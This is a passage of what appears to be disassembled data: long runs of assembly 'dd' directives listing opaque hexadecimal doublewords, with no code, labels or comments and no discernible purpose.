4A0409D5h, 56D540ADh, 1FC1A31Eh, 0ACE4188Ah, 0C0EF81CBh dd 0D967B454h, 4B95622Ch, 939524C9h, 7A9450D0h, 0DD5CD242h dd 25D74E4Ch, 70FA3F42h, 32CD529h, 1062622Eh, 0FDDECB8Fh dd 71BE97FAh, 0B0164492h, 0BF1090DCh, 0A5642F6Fh, 5385451Bh dd 0C79DC9F8h, 27350CE2h, 0BAE3F23Dh, 7B3BF14h, 3B93333Fh dd 6F3E2BFCh, 8A23EED9h, 9EF45311h, 90EC899Eh, 0E527F3F9h dd 0D52760FFh, 1BC0D159h, 1BA09033h, 9C6F57A7h, 3F669BC2h dd 0ECEF357Fh, 9617E931h, 0EB711C47h, 3EFCB64Fh, 0E21E7429h dd 8A131980h, 0F1F0D251h, 0E35CE34Ch, 0A2EBBA7h, 8698C680h dd 0EE04DF57h, 4BA42A4Ah, 13356430h, 841B3619h, 7C63D1D1h dd 456839AAh, 0F823DA61h, 0E24C599Ah, 0E855952Eh, 8298256Eh dd 0DAB6C761h, 3FDB4DBAh, 0A758E4F4h, 7A371FA2h, 0B194C0E2h dd 0B6A37BECh, 5BC3AC64h, 0AAA19039h, 77099ADAh, 63AEA6A0h dd 8B9E960h, 73917D2Bh, 0B042680h, 2A151004h, 2AC224E3h dd 0A9624B87h, 97DB4D35h, 0CA6473CEh, 0D21D5D85h, 0CDF82B54h dd 3A815A13h, 83A18808h, 0E64077B0h, 0ADE971E0h, 25C1F27Eh dd 3F408AD7h, 657781ECh, 0DE234F1Ah, 0F5972328h, 0D4DF6BC6h dd 7D025C8Bh, 8718C844h, 0F8074AEBh, 0CE21962Eh, 45B515DCh dd 3ED15D53h, 3622BD02h, 0D42D9F40h, 3EA10841h, 30CE9320h dd 23886BB4h, 5E54AB5h, 0CA901815h, 0B68919A7h, 0F75C1737h dd 94229E22h, 976082Bh, 0E3DF3043h, 0A007AF35h, 4D755B1Ch dd 0E3EC4A4Fh, 0EFCC1D37h, 5FDF01F8h, 67E01F86h, 98B28E2Eh dd 6DC06649h, 0A6F54FFBh, 6285ABBFh, 113F3715h, 0AE1C3EEEh dd 0C0FEC34Eh, 73782297h, 0BEB47276h, 76F62FDAh, 0C3E25290h dd 97175C5Bh, 0AD802583h, 596C959h, 35AF8D88h, 0C4AA68DDh dd 51771583h, 0C0BD10BFh, 0C0F79EF4h, 41BC5489h, 4682D08Eh dd 0E976F5D9h, 43427134h, 4B388C80h, 2B7675BDh, 0B07E72Eh dd 297B80A1h, 0B933CB1Fh, 553D1DA8h, 2C9213F1h, 49B7927Ch dd 9643EFECh, 8EE9FAA3h, 924DBB10h, 69C53B8Fh, 0FDD0BB06h dd 8110AF30h, 6E4E5AC1h, 0D19DA738h, 1D6BA86Dh, 0F2412445h dd 0D16A01A9h, 4B70C6E0h, 71F8BDCCh, 0C79FA9AFh, 0F9D154Ah dd 0F7541D36h, 293AC505h, 26F4C7E5h, 626A3CF0h, 0CED87BE3h dd 0B8DC5ECDh, 87E5302Eh, 5C843F24h, 43FDDCE4h, 0F01A79Bh dd 0DBE342BBh, 686A745Ah, 58A1E31Fh, 0C343C6F6h, 0EC834733h dd 9473363Eh, 286494AAh, 2C632FA3h, 88246991h, 0F5515576h dd 0B83E04D2h, 249654EAh, 63B48E84h, 666C9FE6h, 0DB9E0B6Fh dd 5BE3EFADh, 61A1F716h, 742BBAFh, 48841CD5h, 0DCB80575h dd 8972B021h, 65B0E518h, 0CC3EC37Ch, 0F6349AAh, 277D3C56h dd 0FF2FBF76h, 59FDA036h, 84C89580h, 0D24CAAEBh, 0BFD71615h dd 941F721Dh, 6CDAE4AAh, 6919D259h, 0A8C94695h, 0A7FB1D24h dd 980B9229h, 4A06CB1h, 32FB816Fh, 39FA799Fh, 858E77C9h dd 90473460h, 60CA35BBh, 4C89374Eh, 1BEDA392h, 0E0D58A18h dd 0E8FE4AE4h, 0C1798D75h, 7EC1708Dh, 7733A956h, 0BCC40154h dd 2EA82741h, 0C3BAA743h, 649B2A1Ch, 17992BA8h, 0F8CBCB68h dd 574882CFh, 0A0E1986Ah, 12D4A167h, 0E9E257DEh, 0A9D51E4Eh dd 20DFE44Ch, 98C18F8Bh dd 387FE2C2h, 0E77AB15Bh, 0FF453311h, 0AE8F5C3Fh, 4AF2C2D7h dd 1672BD0Fh, 9B874D69h, 89F1B2F8h, 0D2F2BAA0h, 774F786Fh dd 9000AB3h, 59509C58h, 66FB6081h, 0E71E492Dh, 6491387Ah dd 6DD9BDD5h, 0FCA423D3h, 1362149Eh, 489FACC6h, 0E33E01D1h dd 0CE6D289Dh, 30D3812Dh, 6205123Eh, 8AFCCE89h, 4D56543h dd 2F4A685h, 1D29CA7h, 2E733DCFh, 0ADAEE073h, 0FE6531B0h dd 0C8FE0F2Dh, 475F4ED2h, 8CFA8F0Bh, 4ACB6D7h, 0E994EFA9h dd 0C5756872h, 8DFD21DFh, 0D445AD96h, 23AE2C56h, 5B7D7854h dd 83628BD6h, 0CE26803Ah, 0FB60D4CDh, 180A2EAAh, 2DB67852h dd 558F37FBh, 10007188h, 0B22C178Ah, 0D62E1BBEh, 27CAC999h dd 0CB29C9C4h, 6B90709Dh, 0F4BC115Dh, 5BE15A7Ch, 0DA2943C9h dd 0CB29FAFBh, 0AD100C9Fh, 46B6F4ECh, 1DC0F3B3h, 50995E90h dd 0FE75292Dh, 0E1138814h, 3C055805h, 0ED8FBE1Fh, 0E05C2A29h dd 763F0639h, 0F182BBAEh, 2AE07D65h, 0F0D0D55Ch, 5388791Bh dd 62CC0275h, 0C6AD54B1h, 0CCCD2E81h, 1C96AA56h, 48FEE64Bh dd 3C594550h, 5E3201FAh, 0C543FACAh, 2062E0AEh, 4887C7FDh dd 5901D0E5h, 0AECA057Eh, 7C028223h, 450A8FC1h, 54BEEFE4h dd 27551940h, 0F909A478h, 5BDC05FCh, 39855F46h, 0B3D98AFDh dd 1CD88664h, 81B3CBB7h, 2C186A9Eh, 2C3F98F5h, 0A3EE331h dd 523BB14Eh, 275798CDh, 375B26F2h, 6C0991BDh, 39C403Ch dd 57BC44DBh, 0C9555E15h, 0CDD6E371h, 0B38B0C5Ah, 7346B8Eh dd 2A2B6988h, 0ACF6548h, 0F96F989Bh, 3120467Ah, 18C27361h dd 0D53F293Bh, 473037C7h, 266EBBBh, 52FD72FDh, 0BC1644EBh dd 1C41E4DDh, 9330C13Bh, 91DABFCh, 0EDB00E49h, 49248A3Eh dd 0FDAD9903h, 0A4DD68FAh, 0F6B3EBD7h, 0A0C662FFh, 872BC9BCh dd 6C06B71Eh, 909B2C7Eh, 952C2A04h, 0A1AC3328h, 0BB9BAF95h dd 2489C227h, 456A48BCh, 0CADC3513h, 3EBE1FF0h, 0E0A8432Ch dd 0A7E0A837h, 1A8486A1h, 9BE3D7C1h, 0A2AB29ACh, 0F1995493h dd 2ED861F8h, 7E084E07h, 7AE7B35Dh, 0A23DA346h, 29A79F67h dd 0ADBB2478h, 0E8030B72h, 4A68D857h, 0A5BFFEA0h, 617FB36Ah dd 31391958h, 39FCB5DBh, 97BBA751h, 947EBC89h, 73F74BD9h dd 0C3B52BEAh, 0E3B923EBh, 50A80939h, 6BB58F0Eh, 2CA3B64Bh dd 0FEDA7EBFh, 20CFB8E8h, 95CB631Bh, 8D4D9C3Bh, 65681A18h dd 0E15CB0A4h, 0BE2A8808h, 0B167A6DCh, 0A16ED07Ch, 0C74A236h dd 7C4197B0h, 0BEFB2C08h, 0C761BE66h, 0D5AEC8B2h, 0EF8E38F3h dd 64481E00h, 0AAAA58E1h, 0C3D223AEh, 457F1394h, 0C2FC262Eh dd 1BDCF056h, 83391473h, 3323C485h, 1239793Ah, 0A6A7DF23h dd 92D2F64Ah, 0A9456D48h, 0BC2AF564h, 0A2E0444Ch, 0EE87EBF6h dd 439999CFh, 5C0AFABAh, 0B0CD888Fh, 4F942801h, 661ACDB0h dd 5E56A09Ah, 47062BA1h, 9A11609Dh, 0A9ACB365h, 0C023CFA8h dd 20F58D45h, 5966B41Ch, 37A4C086h, 4B097758h, 155D2A6Eh dd 8EE9E5EFh, 0DAFEDF79h, 0E3209ABh, 4D2B78D2h, 1BF7DBC8h dd 0DA61C7EAh, 0C9224DE4h, 3CA6DBCAh, 9EBB0B25h, 392867C5h dd 85AFD43Eh, 0CE6ECC5Eh, 0E1142A80h, 0BF2FDED5h, 6165564Fh dd 0B45DC619h, 7424C753h, 622F807Dh, 7A5CC1A3h, 4279C41Fh dd 0AE0BB983h, 5801AF35h, 8C7A329Eh, 39BD395Eh, 19D2DDAAh dd 20C35685h, 0DBA77B3h, 4592C208h, 2B37BE16h, 67902B75h dd 69BAA144h, 75A3AC3Eh, 0B3D149D9h, 8A7356B9h, 0BF45FADEh dd 0FB54C4Ch, 808D676Bh, 1C7BB43Eh, 21F768DCh, 0B3B69A5Dh dd 4BE0BCA5h, 0A4C9736Eh, 0AD693F6Ch, 0D62DC6A5h, 9217DB92h dd 47246B3Dh, 0A639FA8Eh, 4A297577h, 30A055F2h, 486130BDh dd 2708E54Ch, 2C11612Dh, 0B22011C7h, 37E3DD9h, 0DC5C00A4h dd 7505B57Ch, 7853D7EDh, 36BEDEEAh, 591DAA8Dh, 0F8D55D2Fh dd 73274956h, 83643315h, 4746A4EEh, 0D0758662h, 9E9F911Dh dd 4486C638h, 0E6FF037Ch, 0F6C012DAh, 0DAC36502h, 71ADF2A9h dd 0FF30E581h, 162D8600h, 56EB3DB3h, 0A1772E44h, 98AF24D0h dd 5C2B7CCh, 6D694E94h, 674A8DEDh, 4C013963h, 82521309h dd 0C02F3BEDh, 909B3566h, 98E477DEh, 167A230Fh, 2B457B47h dd 317BCA86h, 644A030h, 461689D1h, 0A77AD424h, 0C0C94E47h dd 0F6E3E473h, 9F87AD66h, 3E122251h, 5FF728AFh, 2E7E9C71h dd 15AC48F0h, 0F8B3E1EAh, 7A3879DCh, 0B0540409h, 0B5FBDFF6h dd 1BA82CC3h, 98388D8Ch, 0D61D842Dh, 0FE221FEFh, 0A089DCA0h dd 9806E515h, 524BB94Ch, 966FB62Ch, 0D436E289h, 89A27298h dd 0CCCB1E59h, 0D7B8C3C6h, 0E4F8BB7h, 84361364h, 33206B9Dh dd 789E1047h, 0E67D776Eh, 257DACBBh, 891869EDh, 3E533FACh dd 0C78DD338h, 0D5F5D955h, 3920BF21h, 0D85CBBB6h, 218D672h dd 928C050Dh, 0BC2D7316h, 0B31CA751h, 1C2FDD07h, 55039ED5h dd 0C8E2D7CAh, 92682394h, 0DEC1F612h, 0DDB9990Eh, 3163242h dd 96A8B470h, 716E9DF2h, 0F40FA4C1h, 40BD5832h, 0DE7B62DFh dd 81D1229Dh, 34F86A55h, 44417498h, 716A5E12h, 7CDC99B5h dd 0DE06571Bh, 49F3B2Eh, 5C7601C1h, 2DDEED2Eh, 87F52FC9h dd 0FC46B4F3h, 0DB8BA24h, 65391B8h, 9C19B675h, 1B52A530h dd 0A18FFDD2h, 1AC4A2A0h, 19092550h, 25FD4446h, 0DF16Eh dd 37D38265h, 1E022A40h, 4D1F2A00h, 72D0628Bh, 6E64E948h dd 0A1C2845h, 3741D55Ah, 0FE3C260Ah, 98DCD7AAh, 642601B3h dd 3ECD8107h, 0EACD0C4Eh, 0CA624711h, 0ED4F6BEAh, 0F19366ADh dd 22935FB3h, 5E94232Ch, 565B7C7Bh, 0D60582B3h, 0A000DBC4h dd 59DDCC7Ah, 0C31E50F8h, 9C3AE5AFh, 3A7F6137h, 9A9912CEh dd 0AD73046h, 0ED7AD7C0h, 0EB9BDAE3h, 4256D87h, 44F57EEFh dd 6A0CD407h, 46D23921h, 0AFB43F61h, 67E95BFDh, 0ACDDA1E9h dd 585D06C5h, 26E215EFh, 0E037E9CEh, 19666451h, 91728E8Eh dd 1EB42E48h, 3A43E021h, 0DDFD9C2Eh, 0C0F6FD0Dh, 87159A05h dd 616215BCh, 17EDD40Bh, 0A3039027h, 22D47B9Eh, 7CDC89F2h dd 664F3C26h, 0F9710B8Eh, 653AB493h, 5F3EE773h, 346DA095h dd 0B679F52Ah, 0D971B9E6h, 1B33319Ah, 0E0B39608h, 12C70037h dd 9D7EFAECh, 0D54B1DE6h, 23B51F13h, 0E218BBA1h, 4A6E6304h dd 0C8BAA48h, 3C3E1C90h, 2B0EEFC8h, 0CB607B33h, 2F2ABFCCh dd 997B9F9h, 0E2560752h, 4237DEE1h, 0EBB8C2A0h, 0EFB39C7h dd 0CF3C2D86h, 2D2870Bh, 57AD7214h, 816ACBC4h, 0C39348EAh dd 0EE401305h, 8004512Ah, 527228E9h, 2ED80C83h, 72122ACFh dd 0E00B2B67h, 5D14409Ch, 82C3C047h, 0B6FEA651h, 0C8A13B35h dd 0E3818D06h, 54372B44h, 9C902C0Dh, 13B65869h, 0CD52BB75h dd 9CCDE994h, 93C26C02h, 9C3424A1h, 175C8842h, 0DC54C75Ah dd 0EF1C7788h, 0EB95727Eh, 4D91BA6Fh, 50D86FEh, 2D6517D3h dd 0B2F34024h, 0ECF931BBh, 366D347Dh, 0F6C1AF8h, 0A767425Eh dd 36A43193h, 258E36Fh, 191857B9h, 7E5481B2h, 5B98F076h dd 43136635h, 0EDB74F74h, 0A5AC80D7h, 6EC4F171h, 0DA1358BEh dd 9982DD27h, 0F3C2A348h, 8AF8D099h, 0E1A04C17h, 0A9CF7766h dd 0C26A9C31h, 5AFAF3A1h, 0C9B5E192h, 54F1FE6Bh, 8998F50Ah dd 0FF1E3E0h, 0C044B086h, 9FF41538h, 0F71719D6h, 406AFB2Eh dd 7EBDE0A4h, 0ACF0BB41h, 3B704049h, 90F68F28h, 0D92E900Ah dd 0B5262B9Ch, 7B09F166h, 1E2CEF04h, 43183EE2h, 3DF82EA1h dd 7279E128h, 38746793h dd 2FC01030h, 0E7F63B49h, 27A5A455h, 43F4DB5Bh, 2ADF0037h dd 23E2C23Fh, 75B742E2h, 5FE8611Ah, 1CADA167h, 0C24BFF6Dh dd 7133C08Ch, 7AF84DD6h, 74357891h, 9B735228h, 0FBAA1723h dd 0DD3CC897h, 4EF2BD2Dh, 0C9EFF11Fh, 64840FF6h, 0AE2417A7h dd 0C0D858ACh, 0FF3283AEh, 0B0D8989Ah, 9D5E9066h, 672E0910h dd 0E9A9F695h, 0C5233AD2h, 0F83974EAh, 4D07D0BBh, 42B3A9D3h dd 0B33A8BC0h, 4239AF23h, 3000316Ch, 0F9D3248Bh, 5DC5201Ch dd 0FC98F7ECh, 5B6B9859h, 679EE322h, 0BD3BEFB8h, 0FA97E34Ch dd 3C0A5175h, 70EF940Ah, 44DC1848h, 0E69A864h, 24186782h dd 0A3430B71h, 779646CAh, 81DF6505h, 0D8CBB68Eh, 0D59741D9h dd 0CDD5A419h, 0CB30B401h, 375C2325h, 0A809CEC6h, 0AD8B8527h dd 8369AF79h, 7E0C890Eh, 0C3DEFB18h, 349222EAh, 0EF4B6341h dd 1513A954h, 8126E451h, 0EE0841C1h, 0A1B92F5Bh, 269DEF41h dd 84913EC0h, 5296260Bh, 0E6132480h, 4E7C9ADFh, 6853E3F4h dd 9E24FC53h, 8F2812DBh, 0C7D3B428h, 2488DB96h, 0D3337FD4h dd 6E88987Bh, 5BE88B77h, 82820CFAh, 2C8ECB90h, 0AA79A4B0h dd 2A293BBEh, 0C9A505AEh, 2B4C2EB5h, 1F87522Dh, 0D51CB401h dd 5D31DEFBh, 0DCE4631h, 0ACBEFF5Ch, 4FF602F9h, 99B5DD98h dd 0A018577Ah, 0C62E7C2Dh, 15CC0244h, 0EC18B6B8h, 0FDE2D45Bh dd 0B5D5BA61h, 77CEA2DEh, 0E28B32D2h, 1136B1F9h, 791EBCE4h dd 7C013377h, 3BFB735Eh, 0EC2A4094h, 0E7DEC330h, 1BAABD70h dd 2DEE53B4h, 658637FDh, 0B6CA0542h, 2E228947h, 0C1B6998Fh dd 30E315B6h, 6B4FE82Bh, 0E868AF56h, 0EB393E77h, 76FABCC3h dd 0BF503AD4h, 6A45D60Bh, 0B2F0A254h, 0FE1AE96h, 2B09FFB1h dd 845A400Ah, 90E4BB16h, 0ECDA88B6h, 7AFCC269h, 50C3F2CBh dd 0FC9CF544h, 0B44197F6h, 3B0C2584h, 0EE017D57h, 0ADD1F2CBh dd 1EEF9598h, 769D2B25h, 5E66DED8h, 0EF78F499h, 0AF7164F5h dd 1CBF0EB9h, 5FCF169Dh, 440DE4B2h, 87E8E109h, 0CEFB1CF8h dd 3749E011h, 5065EAB2h, 395BC4DFh, 6F59D4D7h, 48CFACD1h dd 3988BC3Ch, 841552B3h, 570196A6h, 72D1315Fh, 0E687C028h dd 0C63B01Ah, 4E7B18BCh, 88BAA77Ah, 0ABD3FDD3h, 7680FDCAh dd 9F840E79h, 0BFF220BFh, 622A0C29h, 0F43F9882h, 0BE2443D5h dd 0D7A7960Fh, 903A30E5h, 11A1EF35h, 0F692E500h, 0A63D41E5h dd 0D28FCB69h, 7E4CC98Ah, 0AC25FD98h, 0D28D8B92h, 9EDDEB39h dd 604BFAADh, 0D6B77DB6h, 76AD842Eh, 87AA94F1h, 46F4524Bh dd 3D6372F5h, 5BF0E1CBh, 47D1CD1h, 581F8583h, 8543BADBh dd 0A1B35D76h, 2AA30F8Fh, 75794B04h, 9B08870Fh, 0F15C2BE3h dd 0C71B01E3h, 0D30E8F83h, 0B0C07C11h, 0BD7E4D69h, 5F279B25h dd 0DF4BA438h, 0C9B2A847h, 393CDAECh, 51B1282Bh, 85E060DFh dd 0C49D3BF8h, 38164C02h, 575C71BCh, 0D1241CBh, 0DC039744h dd 0CB1664D7h, 40313E15h, 21C1984Fh, 0E195CC2Ah, 65236DC5h dd 0DD4EA3F7h, 0E183405Fh, 369B80F2h, 505BE58Bh, 971BD533h dd 71079372h, 0B50D3B8Bh, 0D03A12E0h, 70F358C0h, 0C2CB8CEDh dd 4B07ADE9h, 68B279DEh, 2CF1BB5Eh, 7416E665h, 65F3D362h dd 0D6DD7CBAh, 49C592Ah, 0CA6E9607h, 78DF68FEh, 7B0F51D0h dd 5946D5h, 8C01421Ah, 7109276Ch, 4E9FC4D8h, 0E2B96D6Dh dd 47BE9632h, 9BD0FDB7h, 12169042h, 484AD145h, 0DEFEAD9Ch dd 0BB556A44h, 72194A4Bh, 0EE77F1B4h, 0BD760ABAh, 0D7CEF08h dd 70DD413h, 0B7FD4E30h, 410DA88Dh, 0FB031328h, 2E087DB4h dd 5E93CC98h, 3C70E7Ah, 1DDA5541h, 53815049h, 0CF704C22h dd 4D157802h, 0AF247206h, 0E86CA32h, 9AEDC933h, 2E7D0A32h dd 40E10585h, 8846AA1h, 0C25E04C8h, 811FD8C1h, 7E27C08Eh dd 0AE34E699h, 0D64DCB7Ch, 0FFC7F894h, 9396174Fh, 21CD84FAh dd 71755BCh, 5B1A812Ch, 5B20F558h, 1A25936Bh, 0E86CD094h dd 962B41C3h, 85F170FDh, 55F35313h, 0A1F68DDCh, 27BBBB18h dd 357B148Ah, 6F4046E6h, 5F061C6Ah, 0D0BF3098h, 82E05898h dd 8B907FFFh, 0F53D7103h, 2F05D0D2h, 76928CFEh, 4466B562h dd 0DF94DFE9h, 5ABC116Ah, 0CC6F6558h, 64993DABh, 15FD8324h dd 5124AEB2h, 6015ECB4h, 91BED9F1h, 7C2B983Bh, 9077BD68h dd 26C271FBh, 0AB5F2959h, 8BB254B1h, 38F11D5Dh, 0DACED925h dd 3E182635h, 70E4C634h, 452A9F08h, 0E6F0B4C5h, 95A9ADC0h dd 539AF354h, 41642EAEh, 0CE816557h, 5B4A1497h, 0FB01F507h dd 79C2D77Eh, 0B0F8EA19h, 78AB7CFDh, 0F0EE7C1Eh, 47052D55h dd 0A51458F4h, 0DF41AEBDh, 0A60A5666h, 8A8ACEA4h, 2DBA0EECh dd 599854BAh, 87C55A50h, 5AAA3AF0h, 301C4344h, 0BE3AC95Eh dd 0F77FA607h, 9669D5FDh, 79314A70h, 0A65B5C0Fh, 0D45B5E74h dd 0B9A5DC92h, 0C3B51BB6h, 0D329C6F7h, 2FD3BB5Dh, 0D96E4451h dd 0C2FE1CFh, 0E7E5279Fh, 718E4588h, 9E77F8Bh, 0F2AD8CBFh dd 71DB07F6h, 31A2D9BEh, 0BD50561Ch, 0F502AB9Ch, 0B85436Fh dd 0DAD07624h, 37F0CF75h, 0B967C395h, 0A6692E1h, 5F90D170h dd 0CDF84AC3h, 5E728A86h, 0DCC8990Bh, 0CC6959DCh, 85452738h dd 0E7E79DB8h, 0E04BEFAAh, 6701E8B4h, 0C7318B8Ch, 8A1A73DAh dd 2F56846Ch, 7DFE5819h, 5C9FE4E1h, 4174AC97h, 3B5A6989h dd 9BA5D289h, 7166E7F1h, 4E30A5A7h, 24669019h, 3F99EE7Ah dd 1EE15E9Eh, 54B794A9h, 0E964B69Fh, 78B5DE11h, 1E42FEh dd 0D8837BE4h, 0F6F64B70h, 0CC8C0881h, 17ABDE30h, 0C86CBA75h dd 0CBE7BAC8h, 119EAF87h, 59648851h, 0D90DCA46h, 6A866591h dd 0ABD991C0h, 3DEF592Dh, 0BD7D6A95h, 1A6DD78Ah, 0CE6AB8EAh dd 291A23Bh, 0CD932EECh, 1C3EAB8h, 51F5A5CFh, 2E2AD7AAh dd 0D0467569h, 0F3330CB0h, 88B97355h, 4D325h, 74F9C920h dd 0F1516CBBh, 0B3B10887h, 1D381C3Bh, 0B686A9A4h, 0B91A46D7h dd 753E67DBh, 53CC20F7h, 36335455h, 8319F260h, 3C9E6F9Dh dd 49E3377Fh, 20D3A1B8h, 289D0275h, 5AD26C26h, 0C4E5170h dd 0BC523164h, 5F3BBA0Bh, 0C42A374Ah, 3E1B78F5h, 0A427FD80h dd 828E69B7h, 37583258h, 6D903D2Bh, 5C2B2841h, 1B21B28h dd 0BC10B7ABh, 7318180Fh, 78BAC93Bh, 28FB1B22h, 0FDDCF0B0h dd 6822C2Dh, 51A0AE80h, 3F030985h, 0A28B84D0h, 9B16B778h dd 0A6A8AE84h, 0B4745677h, 6F951F49h, 0B360A3F3h, 43089836h dd 0C1E11701h, 197AE8DDh, 8B91E894h, 0D37F6FCCh, 9499B510h dd 0AA1B27A8h, 0DF2D8CA2h, 3FF19C83h, 3315BA31h, 74B631EAh dd 54849D64h, 7B129E37h, 0D7B60AECh, 4B6ED817h, 0A162686Ah dd 867B5D83h, 829C10F5h, 0C16A9254h, 1406F4A5h, 0FEFD2820h dd 4717FB0h, 91B2E19Fh, 0CF46ACFDh, 235AC896h, 4A86E457h dd 0F6029622h, 6AE09D2Dh, 0C0DF27BAh, 166500C4h, 5A6F85C2h dd 851F34F3h, 0AB3403CDh, 0F30C6E2Eh, 6F60810Dh, 7E012D4Bh dd 1463B1AAh, 5E7B5042h, 5BAB7B3Ah, 0C8494174h, 1F8E4B22h dd 0D214F1F8h, 4DFB87FBh, 420A5B2h, 36408988h, 2CA4D85Ch dd 4626B0B3h, 1A61BB82h, 0AA314CC8h, 0AB08D1E1h, 0A7E7EA7Ah dd 21964B6Dh, 68016913h, 28AC66E6h, 3414AD67h, 0F4F009B1h dd 722FA745h, 847D199Bh, 8EA4C3C0h, 0BF442693h, 2CCA86A3h dd 6FB2EA98h, 8C53E569h, 237E6620h, 0E2DFC42h, 6AB6CC6Ch dd 6E8D5A01h, 215DB5C6h, 0B750BBE7h, 151A412Ah, 0AE1EC0CFh dd 0D5A4B2A2h, 0E6DBD4A2h dd 13357693h, 0A264E4ACh, 83D9C6D4h, 9F8B4382h, 2A5E1AB0h dd 0B54ED089h, 73EBA4D9h, 2F4560D5h, 644D238Dh, 0D3B1DAEDh dd 5CB8AE34h, 0EAEB1Eh, 0E96EBFB1h, 8981FB73h, 0DB55D044h dd 0BB8DD68Bh, 47B670B4h, 0E1BB5C16h, 0C98CF1D2h, 320923A2h dd 2E3A575Eh, 1EEEF0EEh, 57D5B8F6h, 0D5BEC171h, 243ED072h dd 60584B61h, 0FA5FCFC9h, 0BCE59FA0h, 574EC84h, 8B55D24Dh dd 6F3924A3h, 0ED91D813h, 29F3C0AAh, 4CFFBDACh, 0A69C3217h dd 68E7EC75h, 2B1C3369h, 497D1E04h, 9FE4CD0Eh, 2A959F4Fh dd 0E2B7E680h, 42289EF5h, 0F644FB54h, 2B7D771Bh, 0D9B2CC2Ah dd 1DBE96E1h, 192C06BFh, 0D9540CC3h, 3627BE95h, 0ABC33598h dd 6844BB47h, 0F791FF2Ch, 1382481Dh, 0C2B5B48Fh, 0C07945FDh dd 0D7305093h, 0DB7F201Fh, 4621AAEEh, 0AE90397Ch, 2E8CF867h dd 0AFAB06C9h, 39396882h, 0E27CCDDBh, 88044274h, 0A97E093Bh dd 4C677AF2h, 195B293Bh, 0FCA3C7FFh, 86542F0h, 8ED7D411h dd 6E468D12h, 0AB7F77B7h, 4FE775BBh, 37F8F014h, 230208A0h dd 0EC396DF2h, 8673C93Ah, 0C8BA419Dh, 0EBB2DA96h, 0CF3556C5h dd 6E69A1DAh, 46D6BD02h, 293C485Fh, 29B108C9h, 0A4E7832Fh dd 4233612Ah, 2F7B185Eh, 5F1F66Eh, 95931810h, 6C7943F6h dd 12C2AC47h, 0D161DD7h, 0B4F0D170h, 4A62E426h, 0A809BCC5h dd 0D305B3D9h, 1ADF7AE6h, 5A95238Eh, 0DD6F1627h, 24228007h dd 0ED8A9EF9h, 2AF4D8EFh, 81220613h, 16B44ECCh, 348C7778h dd 99E49653h, 8A78C025h, 2FF73D9Ah, 1FB87EF8h, 36728189h dd 6C045D32h, 9B145592h, 1D974F24h, 0DF065941h, 0D6C28D8Ch dd 7D471378h, 0EB24C75Fh, 42F37B3Ch, 8A1EFD27h, 9E9DB5AAh dd 9BFFDDCAh, 7743C0A5h, 0A2B13C58h, 0FE997326h, 0F140CEA3h dd 551FF949h, 6F1D9DD7h, 0CF3EBC4h, 0D401E2E0h, 0A20EEB39h dd 20810355h, 0FEA1F3DEh, 0F2337EE1h, 0E2E338Bh, 59F623E6h dd 0E575E08Ah, 0F9181DD3h, 0DB627A60h, 0AD7D367h, 0F58A87CCh dd 54890DE6h, 1234C292h, 70F1CAE2h, 3320511Fh, 50964986h dd 466157CAh, 0F538A9CCh, 51482F73h, 915FE217h, 757FB706h dd 0D3DB13Ch, 0E1BB23D9h, 0D450663Ch, 24DAB786h, 0FC9F5D8Bh dd 401AB521h, 0B0A26268h, 4DCCF4ADh, 0CECE9FC9h, 0FAEEF72Ch dd 7A505EDFh, 92E0914Bh, 0A0454C2Bh, 402B7872h, 0FC1F23Ah dd 516357A3h, 93907C01h, 0FCEAF6C2h, 8D47A5B3h, 0FA864C02h dd 7B744D9Eh, 7808EB51h, 0FEF9C09Ah, 0F86019B4h, 2ED9882Ch dd 0FA3B6E08h, 82BA8EB9h, 0DD554182h, 702F4FF3h, 0F7105D00h dd 0E94779C7h, 90EC20FDh, 0B67045F3h, 0B66D31DEh, 7C1C7FCh dd 55E79D9Ah, 9B002CBAh, 0D6FB8DB6h, 94716F8Bh, 13CFCC50h dd 0D04A0866h, 9DEE0639h, 2FA3CC76h, 0C5F1EB29h, 15E8A5A0h dd 0FDB15ECFh, 56927624h, 0B3D6C0FDh, 59A2EE5Bh, 0F1A7CB1Dh dd 27B7C99Dh, 2A0E7B95h, 39CF0E1Fh, 0ABC09F3Bh, 0E512C1EFh dd 0AE97281Fh, 67EC544Fh, 0A4D612D1h, 71792593h, 0F5431A7Eh dd 6D54602Ah, 38D3D9FEh, 10E66868h, 3E62E953h, 0B8ECEB3Ch dd 0FC934F5Fh, 0F5C5EBC2h, 0DEED2DC0h, 89AB9F09h, 26417241h dd 284D836Fh, 0D087DC9Ah, 5C8E427Ah, 4C17ED4Fh, 5C59E417h dd 3C55A5C6h, 0B4CE6EEAh, 70FEA1BCh, 0AB8B898Dh, 293CA5EDh dd 60C4ABF7h, 7FCBBEE4h, 0F431A373h, 0CF3D5389h, 0B49E0636h dd 900F69B2h, 5454343Bh, 0E651D7D3h, 3122185Dh, 0C62B1054h dd 0C792AC71h, 98417BEBh, 374D2220h, 0DFD3B947h, 91B2313Eh dd 2F35E5Ah, 2702FBDAh, 0B1D13E4Fh, 3CB1B8FCh, 5BA18189h dd 0F3E96CE1h, 0BC420A83h, 3B16E82h, 9CE4C41Ch, 0E6A5E274h dd 4F3B81C5h, 6BC0F332h, 0CC8DFC2Ah, 46379C6h, 32D5B615h dd 39278EBBh, 1C1277Dh, 44EC705Ch, 0E2998C05h, 0B1006C07h dd 0F4207B35h, 57F5F26Dh, 11B69183h, 687BFh, 0ACB2AD25h dd 7022B31Dh, 0A11167F9h, 7E20536Eh, 76C34161h, 8096EF1h dd 48D7F88Ah, 246A9FDCh, 5C20DF73h, 8F508D09h, 0EF179EA9h dd 0B0010B85h, 33648BF8h, 0FE6C4DFCh, 0D0FF1C96h, 8149F58Ch dd 15A8286Fh, 78FB8756h, 0A5CBD9A1h, 76EBCD6Dh, 2B028085h dd 37FE1277h, 0A9B1339Ch, 2E7950Bh, 0C4D3349Ch, 0D016DBDCh dd 9D8EF07Eh, 54A8DE00h, 263E409Fh, 0E4FE0733h, 4E5F5223h dd 0C20AFDCFh, 0F21F5235h, 934CFC88h, 0B1868Eh, 0E1B98093h dd 43F50BFDh, 3D0EDDB5h, 0C4E54BBFh, 33D888DFh, 0F3BC5CE7h dd 6AFAE753h, 72683D65h, 4AEF8192h, 39D4B383h, 0E4DAE884h dd 0E546D3C9h, 0ABCCB2B2h, 3000501Ch, 0A81EA297h, 0BADF2D4Eh dd 0FD4A82D9h, 5F28E4B2h, 9F6D20E0h, 0FD390BD9h, 72BF274Eh dd 7485D841h, 3784FFCCh, 0A1957D2Ah, 0DE71850Ah, 0DA76C5D1h dd 7307C231h, 14B73760h, 0A7CB27BBh, 0E77A2EC9h, 